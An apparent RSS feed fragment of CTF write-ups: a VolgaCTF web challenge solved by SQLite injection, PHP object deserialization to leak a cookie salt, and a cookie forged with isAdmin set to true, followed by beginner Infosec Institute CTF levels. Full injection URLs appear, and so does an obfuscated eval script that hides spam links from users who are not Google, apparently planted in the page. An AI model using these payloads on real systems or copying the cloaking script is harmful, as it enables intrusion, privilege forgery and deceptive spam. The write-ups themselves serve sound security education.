params.&amp;nbsp;&lt;br&gt;I tried the following request:&amp;nbsp;http://web2.2015.volgactf.ru/SecretAdminPanel?test=test%27&lt;br&gt;and I got&amp;nbsp;&lt;strong&gt;Error:&lt;/strong&gt;&amp;nbsp;unrecognized token: &quot;&quot;;}&#039;)&quot;&lt;br&gt;Interesting we have some errors available. looks like SQLi and my request was NOT logged. This means we probably had SQLi error and the request didn&#039;t finish processing due to the error.&lt;br&gt;I tried this one to double-check&lt;br&gt;http://web2.2015.volgactf.ru/SecretAdminPanel?test=test%27%27&lt;br&gt;and I got no errors and the request got logged perfectly.&amp;nbsp;&lt;br&gt;&lt;br&gt;&lt;strong&gt;Exploitation:&amp;nbsp;&lt;/strong&gt;&lt;br&gt;Now it is the time to exploit. I managed to know that th DBMS was sqlite. So this what I want to exploit: a SQLite database.&amp;nbsp;&lt;br&gt;I am injecting in an insert statement and I am injecting in the last column.&amp;nbsp;&lt;br&gt;I believe that the query in the backend was something like&lt;br&gt;&lt;br&gt;query = INSERT INTO logs (IP, PARAMS) VALUES ($ip, $params);&lt;/p&gt;&lt;p&gt;I usually when I have a SQLi bug and errors are enabled. I try to inject in different places in the query to see the errors of the database. As a result of seeing the errors I can see part of the query in the backend.&lt;br&gt;So I injected in this part of the query string&amp;nbsp;&lt;br&gt;http://web2.2015.volgactf.ru/SecretAdminPanel?test%27=test&lt;br&gt;and that was the result&amp;nbsp;&lt;br&gt;&lt;strong&gt;Error:&lt;/strong&gt;&amp;nbsp;near &quot;&quot;;s:4:&quot;&quot;: syntax error&lt;br&gt;what we see here part of the INSERT query but we can see s:4: and this is part of a serialized string in PHP.&lt;br&gt;So probably the code in the backend something like this&amp;nbsp;&lt;br&gt;&lt;br&gt;$params = serialize($_GET)&lt;br&gt;query = &quot;INSERT INTO logs (IP, PARAMS) VALUES ($&#039;ip&#039;, &#039;$params&#039;);&quot;&lt;/p&gt;&lt;p&gt;now we want to have our injection with the serialization. I frist looked for the string concatenation operator in the SQLite to concatenate the result I want to see with the params. The string concatenation operator was &quot;||&quot;/&lt;br&gt;I tried this request first&amp;nbsp;&lt;br&gt;http://web2.2015.volgactf.ru/SecretAdminPanel?test=test&#039;||(Select &quot;a&quot;)||&#039;&lt;/p&gt;&lt;p&gt;The request worked successfully no SQL errors, this means our injection was correct.&amp;nbsp;&lt;br&gt;However I checked the logs page and that was the result&amp;nbsp;&lt;/p&gt;&lt;p&gt;array(2) {&lt;/p&gt;&lt;p&gt;&amp;nbsp; [&quot;ip&quot;]=&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; string(12) &quot;MY_IP&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; [&quot;params&quot;]=&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; bool(false)&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;Why is this ?? It looks like that PHP couldn&#039;t deserialize the column correctly.&amp;nbsp;&lt;br&gt;What they do in the backend something similar to this&amp;nbsp;&lt;br&gt;&lt;br&gt;SELECT IP, params from logs where IP = MyIP;&lt;br&gt;$params = unserialize(params)&lt;br&gt;var_dump($params)&lt;/p&gt;&lt;p&gt;so we have a problem in deserializing our data.&amp;nbsp;&lt;br&gt;This is true because our injection was something like&lt;br&gt;?test=test&#039;||(Select &quot;a&quot;)||&#039;&lt;/p&gt;&lt;p&gt;So the serialized string:&amp;nbsp;&#039;a:1:{s:4:&quot;test&quot;;s:22:&quot;test&#039;||(Select &quot;a&quot;)||&#039;&quot;;}&#039;&lt;br&gt;and the string stored in the database: &#039;a:1:{s:4:&quot;test&quot;;s:22:&quot;testa&quot;;}&#039;&lt;br&gt;This&amp;nbsp;discrepancy between the INSERT statement and what stores in the database cause this error.&lt;/p&gt;&lt;p&gt;To solve this, I used something like repeat and substring functions in sqlite to have valid serialized string and stored correctly in the database.&amp;nbsp;&lt;br&gt;&lt;br&gt;That was my final query&amp;nbsp;&lt;br&gt;http://web2.2015.volgactf.ru/SecretAdminPanel?test%27||%28SELECT%28substr%28group_concat%28name%29,0,5%29%29FROM%28sqlite_master%29%29||%28select%28replace%28substr%28quote%28zeroblob%28%28130%2b1%29/2%29%29,3,130%29,%220%22,%22a%22%29%29%29||%27&lt;/p&gt;&lt;p&gt;&lt;br&gt;Executing this query will return us the names of tables in the database.&lt;br&gt;This query to extract the content of the params column in the database&lt;br&gt;&lt;br&gt;http://web2.2015.volgactf.ru/SecretAdminPanel?test%27||%28SELECT%28hex%28substr%28group_concat%28params%29,100,61%29%29%29FROM%28logs%29%29||%28select%28replace%28substr%28quote%28zeroblob%28%289%2b1%29/2%29%29,3,9%29,%220%22,%22a%22%29%29%29||%27&lt;/p&gt;&lt;p&gt;I assumed we might get the params that the admin used to login into this page and then we will get the flag. However, it was not that easily.&amp;nbsp;&lt;br&gt;Unfortunately the data inside the database was only mine, which means that each use has its own copy of the database.&lt;br&gt;The flag wont be in the database so we need to think of something else.&amp;nbsp;&lt;br&gt;&lt;br&gt;In the cookies we have this interesting cookie.&amp;nbsp;PHPSESS=%7B%22isAdmin%22%3Afalse%7D0afb5cf5c7d66587da7c811767250458; expires=Fri, 08 May 2015 18:08:16 GMT; path=/; domain=.web2.2015.volgactf.ru; HttpOnly&lt;/p&gt;&lt;p&gt;Maybe to get the flag, we need to get the cookie salt used to form this cookie and form the valid cookie where isAdmin:true&lt;br&gt;another member in the team suggested to have the serialized Exception object, and when this object gets deseialized we will see our stacktrace and we might get something useful.&amp;nbsp;&lt;br&gt;&lt;br&gt;I used this query to add the exception object into the database.&amp;nbsp;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;span data-rz-clipboard=&quot;true&quot;&gt;&lt;a class=&quot;vt-p&quot; style=&quot;text-decoration: underline;&quot; href=&quot;http://web2.2015.volgactf.ru/SecretAdminPanel?test%27||%28select%28replace%28substr%28quote%28zeroblob%28%2894%2b1%29/2%29%29,3,94%29,%220%22,%22a%22%29%29%29||%27%22;O:9:%22Exception%22:0&quot; data-rz-params=&quot;{&amp;quot;__TYPE&amp;quot;:&amp;quot;TEXT&amp;quot;,&amp;quot;T_URL&amp;quot;:&amp;quot;http://web2.2015.volgactf.ru/SecretAdminPanel?test%27||%28select%28replace%28substr%28quote%28zeroblob%28%2894%2b1%29/2%29%29,3,94%29,%220%22,%22a%22%29%29%29||%27%22;O:9:%22Exception%22:0&amp;quot;}&quot;&gt;http://web2.2015.volgactf.ru/SecretAdminPanel?test%27||%28select%28replace%28substr%28quote%28zeroblob%28%2894%2b1%29/2%29%29,3,94%29,%220%22,%22a%22%29%29%29||%27%22;O:9:%22Exception%22:0&lt;/a&gt;&lt;span data-rz-params=&quot;{&amp;quot;__TYPE&amp;quot;:&amp;quot;TEXT&amp;quot;}&quot;&gt;:{}}&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span data-rz-clipboard=&quot;true&quot;&gt;and when we viewed the logs page we indeed saw the stacktrace and part of the output contains this&lt;br&gt;&lt;span data-rz-clipboard=&quot;true&quot;&gt;&lt;span data-rz-params=&quot;{&amp;quot;__TYPE&amp;quot;:&amp;quot;TEXT&amp;quot;}&quot;&gt;&lt;br&gt;object(Session)#3 (2) {&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;[&quot;cookieSalt&quot;:&quot;Session&quot;:private]=&amp;gt;&lt;br&gt;string(20) &quot;nO97M0Za6cu9wDC72VVv&quot;&lt;br&gt;[&quot;params&quot;:&quot;Session&quot;:private]=&amp;gt;&lt;br&gt;array(1) {&lt;br&gt;[&quot;isAdmin&quot;]=&amp;gt;&lt;br&gt;bool(false)&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div data-rz-params=&quot;{&amp;quot;__TYPE&amp;quot;:&amp;quot;LINE&amp;quot;,&amp;quot;RANDOM&amp;quot;:0.5038021015934646}&quot;&gt;No we have the salt. To construct the valid cookie we simply need to do the following:&lt;br&gt;&lt;br&gt;&lt;/div&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;lt;?php&lt;br&gt;$str=&#039;{&quot;isAdmin&quot;:true}&#039;;&lt;br&gt;$salt=&#039;nO97M0Za6cu9wDC72VVv&#039;;&lt;br&gt;echo urlencode($str).md5($str.$salt);&lt;br&gt;?&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;and the flag was&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span data-rz-clipboard=&quot;true&quot;&gt;&lt;span style=&quot;font-weight: bold; background-color: #b5eb5e;&quot; data-rz-params=&quot;{&amp;quot;__TYPE&amp;quot;:&amp;quot;TEXT&amp;quot;,&amp;quot;T_BOLD&amp;quot;:true,&amp;quot;T_BG_COLOR&amp;quot;:&amp;quot;#B5EB5E&amp;quot;}&quot;&gt;{417a4c17bd3132bba864dac9edf4ae7a}&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;Notes:&lt;br&gt;1- I think it worth more than 200 pts comparing to the challenge remote web or even the joy and relax challenges.&lt;br&gt;2- There was a much easier way to exploit the SQLi. Simply we could have used stacked quiries ^^. It is sqlite so I could have simply added the serialized Exception object into the DB using something similar to this query. you just need to know how to use the query without spaces because it was replaced with underscores &#039;_&#039; &amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;a class=&quot;vt-p&quot; style=&quot;text-decoration: underline;&quot; href=&quot;http://web2.2015.volgactf.ru/SecretAdminPanel?test%27||%28select%28replace%28substr%28quote%28zeroblob%28%2894%2b1%29/2%29%29,3,94%29,%220%22,%22a%22%29%29%29||%27%22;O:9:%22Exception%22:0&quot; data-rz-params=&quot;{&amp;quot;__TYPE&amp;quot;:&amp;quot;TEXT&amp;quot;,&amp;quot;T_URL&amp;quot;:&amp;quot;http://web2.2015.volgactf.ru/SecretAdminPanel?test%27||%28select%28replace%28substr%28quote%28zeroblob%28%2894%2b1%29/2%29%29,3,94%29,%220%22,%22a%22%29%29%29||%27%22;O:9:%22Exception%22:0&amp;quot;}&quot;&gt;http://web2.2015.volgactf.ru/SecretAdminPanel?test&lt;/a&gt;&#039;);INSERT INTO logs(IP, PARAMS) VALUES (&#039;127.0.0.1&#039;, &#039;O:9:&quot;Exception&quot;:0:{}&#039;)--&lt;/p&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.jmksport.com/&quot;&gt;Sportswear Design&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.fitforhealth.eu/cdakshop/category/nike/&quot;&gt;Nike News&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Fri, 08 May 2015 17:41:19 +0000</pubDate>
 <dc:creator>the_storm</dc:creator>
 <guid isPermaLink="false">101 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/101#comments</comments>
</item>
<item>
 <title>Infosec mini ctf writeup </title>
 <link>https://ctfcrew.org/writeup/99</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/web&quot;&gt;web&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;field-item odd&quot;&gt;&lt;a href=&quot;/categories/stego&quot;&gt;stego&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/forensics&quot;&gt;forensics&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/33&quot;&gt;Infosec Institute CTF&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;div class=&quot;page&quot; title=&quot;Page 3&quot;&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 24.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(17.254900%, 43.529410%, 58.431380%);&quot;&gt;&lt;span style=&quot;color: #333333; font-size: 16px; font-weight: normal;&quot;&gt;This is the InfoSec CTF writeup.&lt;br&gt;The ctf was very great. However, I felt it a bit simpler I think that was intended as a basic starting level. Some of the challneges were very interesting others were very straight forward. One thing that make me suffer a bit is the images in the challneges. I always had the feeling that they always contained something (steganography). I also was suffering with some guessing challenges like levle number 9. Yet, the good thing about the challneges is that each one will teach you something. The purpose of the CTF was to share knowledge. Below, you can find my write-up so please read, enjoy and take the best of it.&amp;nbsp;&lt;br&gt;If you have any questions/comments, do NOT hesitate to contact me.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 24.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(17.254900%, 43.529410%, 58.431380%);&quot;&gt;&lt;span style=&quot;color: #333333; font-size: 16px; font-weight: normal;&quot;&gt;Thank you &lt;a class=&quot;vt-p&quot; href=&quot;http://www.infosecinstitute.com/&quot;&gt;InfoSec Institute&lt;/a&gt; for the CTF&lt;br&gt;&lt;br&gt;A pdf version of the solution can be found here.&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;a class=&quot;vt-p&quot; style=&quot;font-family: Helvetica; font-size: 16px;&quot; href=&quot;https://www.dropbox.com/s/uuixb7zqcbyiq5x/solutions.zip?dl=0&quot;&gt;https://www.dropbox.com/s/uuixb7zqcbyiq5x/solutions.zip?dl=0&lt;/a&gt;&lt;span style=&quot;font-family: Helvetica;&quot;&gt;&lt;span style=&quot;font-size: 16px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span style=&quot;font-family: Helvetica;&quot;&gt;&lt;span style=&quot;font-size: 16px;&quot;&gt;If you would like to try the challenges before seeing the write-ups please check them on&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;a class=&quot;vt-p&quot; href=&quot;http://ctf.infosecinstitute.com/&quot;&gt;&lt;span style=&quot;font-family: Helvetica;&quot;&gt;&lt;span style=&quot;font-size: 16px;&quot;&gt;http://ctf.infosecinstitute.com/&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;&lt;span&gt;&lt;br&gt;&lt;span style=&quot;font-family: Helvetica;&quot;&gt;&lt;span style=&quot;font-size: 16px;&quot;&gt;let&#039;s start :)&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 24.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(17.254900%, 43.529410%, 58.431380%);&quot;&gt;&lt;br&gt;&lt;br&gt;Level One &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Challenge: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;“May the source be with you! “ &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Solution: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;Once I saw the word “source” then I expected that the flag will be in the HTML source code. I viewed the source code in my browser, and I managed to see the flag in the first line of the HTML code as illustrated below in the screenshot&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/1_1.png&quot; alt=&quot;&quot; width=&quot;724&quot; height=&quot;708&quot;&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold;&quot;&gt;flag: infosec_flagis_welcome&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;page&quot; title=&quot;Page 4&quot;&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 24.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(17.254900%, 43.529410%, 58.431380%);&quot;&gt;Level Two &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Challenge: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;“It seems like the image is broken..Can you check the file?“ &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Solution: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;I checked the HTML source code and I got the image link which was “img/leveltwo.jpeg” Downloaded the image file and now it is time to analyse the file. The first step I wanted to to check the file type to see if it is actually an image. Executing the “file” command on linux that was the result.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/2_1.png&quot; alt=&quot;&quot; width=&quot;1004&quot; height=&quot;78&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;looks like some ascii data inside not an image. Viewing the file content using the “cat” command that was the output “aW5mb3NlY19mbGFnaXNfd2VhcmVqdXN0c3RhcnRpbmc=“. The data is encoded in base64. I managed to know that because of the “=“ that was padded in the end of the text. using the base64 tool to decode that data that was the output &lt;/span&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold;&quot;&gt;“infosec_flagis_wearejuststarting”&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold;&quot;&gt;&lt;img src=&quot;/sites/default/files/writeups/images/2_2.png&quot; alt=&quot;&quot; width=&quot;1004&quot; height=&quot;108&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;page&quot; title=&quot;Page 5&quot;&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 24.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(17.254900%, 43.529410%, 58.431380%);&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Level Three &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Challenge: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;Nothing was stated regarding explicitly for the challenge. However there was that image that contains a QR code. &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Solution: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;sent the QR code to the following website &lt;a class=&quot;vt-p&quot; href=&quot;http://zxing.org/w/decode?u=http%3A%2F%2Fctf.infosecinstitute.com%2Fimg%2Fqrcode.%20png&quot;&gt;http://zxing.org/w/decode?u=http%3A%2F%2Fctf.infosecinstitute.com%2Fimg%2Fqrcode. png&lt;/a&gt;&lt;br&gt; That was the result&lt;br&gt; .. -. ..-. --- ... . -.-. ..-. .-.. .- --. .. ... -- --- .-. ... .. -. —.&lt;br&gt; looks like some morse code. We need to find something to decode it. Using the following the website http://morsecode.scphillips.com/translator.html I managed to translate the morse code and that was the result.&lt;br&gt; &lt;/span&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold;&quot;&gt;“INFOSEC_FLAGIS_MORSING”&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;page&quot; title=&quot;Page 6&quot;&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 24.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(17.254900%, 43.529410%, 58.431380%);&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Level Four &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Challenge: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;“HTTP means Hypertext Transfer Protocol” &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Solution: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;HTTP is a Hyptertext Transfer Protocol. I thought that I might find the flag in any of the headers received from the server. I fired up my burp suite proxy to see what I will get in the HTTP response. These were the headers received from the server.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;&lt;img src=&quot;/sites/default/files/writeups/images/4_1.png&quot; alt=&quot;&quot; width=&quot;741&quot; height=&quot;279&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;We can see that the server is setting a cookie in our browser. looks like it is encoding in some way however it has the same pattern as “infosec_flagis_xxxxxxx”&lt;br&gt; I didn’t know what was the encoding but it looks like some stream cipher. I expected it will be a caesar cipher. I coded this quick script to try all caesar with different steps. The script should stops once it finds the word “infosec”&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot; title=&quot;Caesar&quot;&gt;def decode_ceaser(input_str, n):&lt;br&gt;    output = []
    for c in input_str:
        temp = 97+((ord(c)-97+n)%26)
        temp = chr(temp)
        output.append(temp)
    return output&lt;br&gt;for i in xrange(25):
        res = decode_ceaser(encoded_str, i)
        res = &#039;&#039;.join(res)
        if &#039;infosec&#039; in res:
            print res
            break&lt;/pre&gt;&lt;/div&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;and that was the result of running the script &lt;/span&gt;&lt;/p&gt;&lt;pre&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;AndaleMono&#039;; color: rgb(100.000000%, 100.000000%, 100.000000%); background-color: rgb(0.000000%, 0.000000%, 0.000000%);&quot;&gt;infosec_flagis_welovecookies&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;page&quot; title=&quot;Page 7&quot;&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 24.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(17.254900%, 43.529410%, 58.431380%);&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Level Five: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Challenge: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;No text was written only an image. &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Solution: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;I think this is steganography problem. It did take a lot of time for me to solve it since I am not that good with steganography. I checked the image with Stegsolve didn’t find anything. I checked it also with steghide but nothing. I checked some online websites and it was this website http://www.futureboy.us/stegano/decinput.html. I uploaded the image to the website and It resulted in some binary array as illustrated below&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/5_0.png&quot; alt=&quot;&quot; width=&quot;1004&quot; height=&quot;90&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;decoding the binary array I got using the following website http://string-functions.com/binary-string.aspx&lt;br&gt; and the result was&lt;br&gt; &lt;/span&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold;&quot;&gt;infosec_flagis_stegaliens&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;page&quot; title=&quot;Page 8&quot;&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 24.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(17.254900%, 